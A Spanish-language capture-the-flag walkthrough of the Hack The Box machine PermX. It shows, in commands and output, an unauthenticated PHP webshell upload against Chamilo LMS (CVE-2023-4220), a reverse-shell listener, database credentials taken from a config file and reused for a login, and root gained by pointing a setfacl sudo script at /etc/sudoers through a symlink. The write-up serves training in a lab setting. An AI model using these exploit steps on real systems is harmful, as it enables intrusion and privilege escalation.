En PermX descubrimos la plataforma Chamilo en la cual explotamos una vulnerabilidad que permite subir archivos sin autenticar lo que nos dio acceso a una shell a la maquina. Con credenciales almacenadas en un archivo de configuracion logramos acceder a un segundo usuario. Escalamos privilegios utilizando setfacl modificando el archivo sudoers.
Nombre |
PermX |
OS |
Linux |
Puntos |
20 |
Dificultad |
Easy |
Fecha de Salida |
2024-07-06 |
IP |
10.10.11.23 |
Maker |
mtzsec |
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [398, 563, 1227, 624, 329, 133, 93, 26, 12, 28],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Nmap 7.94SVN scan initiated Thu Jul 11 20:20:11 2024 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 11 20:20:20 2024 -- 1 IP address (1 host up) scanned in 9.32 seconds
|
Web Site
El sitio web nos redirige al dominio permx.htb
el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
9
10
|
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> curl -sI 10.10.11.23
HTTP/1.1 302 Found
Date: Fri, 12 Jul 2024 00:20:51 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://permx.htb
Content-Type: text/html; charset=iso-8859-1
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]>
|
Sitio web con tematica relacionada a aprendizaje en linea.
Web Tech
wappalyzer nos muestra la tecnologia utilizada por el sitio.
Directory Brute Forcing
feroxbuster
muestra unicamente los recursos del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> feroxbuster -u http://permx.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://permx.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 303c http://permx.htb/js => http://permx.htb/js/
301 GET 9l 28w 304c http://permx.htb/css => http://permx.htb/css/
301 GET 9l 28w 304c http://permx.htb/lib => http://permx.htb/lib/
200 GET 109l 205w 2698c http://permx.htb/js/main.js
200 GET 434l 827w 7929c http://permx.htb/css/style.css
200 GET 6l 80w 5378c http://permx.htb/img/testimonial-2.jpg
200 GET 587l 2466w 36182c http://permx.htb/index.html
200 GET 158l 719w 58188c http://permx.htb/img/cat-4.jpg
200 GET 11l 188w 16953c http://permx.htb/lib/animate/animate.min.css
200 GET 6l 3782w 164194c http://permx.htb/css/bootstrap.min.css
200 GET 162l 1097w 114385c http://permx.htb/img/carousel-1.jpg
200 GET 206l 1251w 90219c http://permx.htb/img/about.jpg
301 GET 9l 28w 304c http://permx.htb/img => http://permx.htb/img/
200 GET 5l 69w 4677c http://permx.htb/img/testimonial-3.jpg
200 GET 107l 604w 40660c http://permx.htb/img/course-2.jpg
200 GET 112l 581w 45923c http://permx.htb/img/course-3.jpg
200 GET 587l 2466w 36182c http://permx.htb/
200 GET 59l 359w 33963c http://permx.htb/img/team-1.jpg
200 GET 8l 81w 5070c http://permx.htb/img/testimonial-4.jpg
200 GET 109l 597w 49102c http://permx.htb/img/team-4.jpg
200 GET 41l 273w 28085c http://permx.htb/img/team-2.jpg
200 GET 138l 705w 57467c http://permx.htb/img/cat-1.jpg
200 GET 56l 315w 34720c http://permx.htb/img/course-1.jpg
301 GET 9l 28w 323c http://permx.htb/lib/owlcarousel/assets => http://permx.htb/lib/owlcarousel/assets/
200 GET 132l 738w 55021c http://permx.htb/img/cat-2.jpg
200 GET 23l 172w 1090c http://permx.htb/lib/owlcarousel/LICENSE
200 GET 239l 1265w 101629c http://permx.htb/img/carousel-2.jpg
200 GET 126l 738w 60325c http://permx.htb/img/cat-3.jpg
200 GET 3275l 9533w 85368c http://permx.htb/lib/owlcarousel/owl.carousel.js
200 GET 20l 133w 8179c http://permx.htb/lib/owlcarousel/assets/owl.video.play.png
200 GET 7l 279w 42766c http://permx.htb/lib/owlcarousel/owl.carousel.min.js
200 GET 19l 90w 1573c http://permx.htb/lib/owlcarousel/
200 GET 94l 537w 57860c http://permx.htb/img/team-3.jpg
200 GET 14l 81w 5311c http://permx.htb/img/testimonial-1.jpg
200 GET 17l 67w 1150c http://permx.htb/lib/easing/
200 GET 23l 123w 2528c http://permx.htb/lib/owlcarousel/assets/
200 GET 7l 158w 9028c http://permx.htb/lib/waypoints/waypoints.min.js
200 GET 0l 0w 0c http://permx.htb/lib/waypoints/links.php
200 GET 17l 70w 1165c http://permx.htb/lib/waypoints/
|
Subdomain Discovery
Tras ejecutar ffuf
este muestra el subdominio www
y lms
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb -fl 10
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 10
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 71ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 94ms]
:: Progress: [100000/100000] :: Job [1/1] :: 564 req/sec :: Duration: [0:03:05] :: Errors: 0 ::
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]>
|
Chamilo - RCE
El subdominio lms.perm.htb muestra el login de la plataforma Chamilo. Algo que hay que destacar es que se muestra el nombre del administrador: David Miller, y su correo admin@permx.htb
.
Chamilo tiene multiples vulnerabilidades las cuales afectan a versiones <= v1.11.24.
Una de ellas (CVE-2023-4220) permite la subida de archivos sin autenticacion a traves de la pagina bigUpload.php
lo que permitiria la ejecucion de codigo PHP con ello, tambien, comandos en la maquina.
Para la explotacion, la unica condicion es que el directorio main/inc/lib/javascript/bigupload/files/
exista en el sitio web, observamos que la respuesta fue exitosa al consultar con curl dicho directorio.
1
2
3
4
5
6
7
8
9
|
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> curl -sI http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/
HTTP/1.1 200 OK
Date: Fri, 12 Jul 2024 01:19:48 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html;charset=UTF-8
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]>
|
El PoC muestra la creacion de un archivo PHP con la ejecucion de un comando, tras ello se realiza la subida con curl en bigUpload.php
por medio del metodo POST con el parametro bigUploadFile
donde se especifica el archivo anterior.
Replicamos el PoC y observamos que exitosamente ejecutamos los comandos id;pwd
.
1
2
3
4
5
6
7
8
9
10
11
|
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> echo "<?php system('id;pwd');" > test.php
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> curl -F 'bigUploadFile=@test.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.%
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]> curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/test.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/chamilo/main/inc/lib/javascript/bigupload/files
┌[kali@kali] [/dev/pts/3]
└[~/htb/permx]>
|
User - www-data
Ejecutamos una shell inversa utilizando shells y logramos el acceso como www-data.
1
2
3
4
5
6
7
8
9
|
┌[kali@kali] [/dev/pts/6] [1]
└[~/htb]> rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.10] from permx.htb [10.10.11.23] 34756
/bin/sh: 0: can't access tty; job control turned off
$ id;pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/chamilo/main/inc/lib/javascript/bigupload/files
$
|
Observamos que existe el usuario mtz en la maquina.
1
2
3
4
|
www-data@permx:/$ cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
www-data@permx:/$
|
Creds
Realizamos una enumeracion en los directorios de Chamilo, encontramos credenciales de acceso para la base de datos y configuracion para la plataforma.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
[..]
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['db_manager_enabled'] = false;
/**
* Misc. settings.
*/
$_configuration['security_key'] = '08ecc755d674efaa6b1ab289e6053a9b';
$_configuration['password_encryption'] = 'bcrypt';
$_configuration['session_stored_in_db'] = false;
$_configuration['session_lifetime'] = 360000;
$_configuration['software_name'] = 'Chamilo';
$_configuration['deny_delete_users'] = false;
$_configuration['system_version'] = '1.11.24';
$_configuration['system_stable'] = true;
[..]
|
User - mtz
Con la contrasena de la base de datos logramos acceder como mtz y a la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
|
www-data@permx:/$ su mtz
Password: 03F6lY3uXAP2bkW8
mtz@permx:/$ whoami
mtz
mtz@permx:/$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:/$ cd
mtz@permx:~$ ls
user.txt
mtz@permx:~$ cat user.txt
1fe9f9df4e0c492936a7a1b20ab25856
mtz@permx:~$
|
Privesc
Observamos que el usuario puede ejecutar /opt/acl.sh
como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
mtz@permx:~$ sudo -l -l
sudo -l -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Options: !authenticate
Commands:
/opt/acl.sh
mtz@permx:~$
|
El script permite el cambio de permisos de archivos que existan dentro del directorio de mtz utilizando setfacl.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
|
El script unicamene realiza un “check” para que el target o archivo no este fuera del directorio principal, basicamente el comando final quedaria de la siguiente forma:
1
|
sudo setfacl -m u:"<user>":"<perms>" "/home/mtz/<file>"
|
Lo que se esperaria es darle permisos de lectura, escritura y/o ejecucion a algun archivo.
1
|
sudo setfacl -m u:"mtz":"rwx" "/home/mtz/<file>"
|
Intentamos realizar la lectura del archivo /etc/sudoers.
1
2
3
|
mtz@permx:~$ sudo su
Sorry, user mtz is not allowed to execute '/usr/bin/su' as root on permx.
mtz@permx:~$
|
Inicialmente creamos un symlink a /etc/sudoers y ejecutamos el script dandole permisos de lectura, escritura y ejecucion (no necesario).
1
2
3
4
5
|
mtz@permx:~$ ln -s /etc/sudoers sud
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/sud
mtz@permx:~$ ls -lah sud
lrwxrwxrwx 1 mtz mtz 12 Jul 12 02:31 sud -> /etc/sudoers
mtz@permx:~$
|
Vemos que podemos realizar la lectura de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
mtz@permx:~$ cat sud
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
[...]
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$
|
Modificamos el archivo de tal forma que el usuario mtz pudiera ejecutar cualquier comando como root.
1
2
3
4
5
6
7
8
9
10
11
12
|
mtz@permx:~$ cat sud | tail
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) ALL
mtz@permx:~$
|
Finalmente ejecutamos sudo su
e ingresamos la contrasena, para luego obtener acceso como root y realizar la lectura de la flag root.txt
.
1
2
3
4
5
6
7
8
9
10
|
mtz@permx:~$ sudo su
[sudo] password for mtz:
root@permx:/home/mtz# whoami
root
root@permx:/home/mtz# cd
root@permx:~# ls
backup reset.sh root.txt
root@permx:~# cat root.txt
c990b662bbe51a703346de6f03ac7fdb
root@permx:~#
|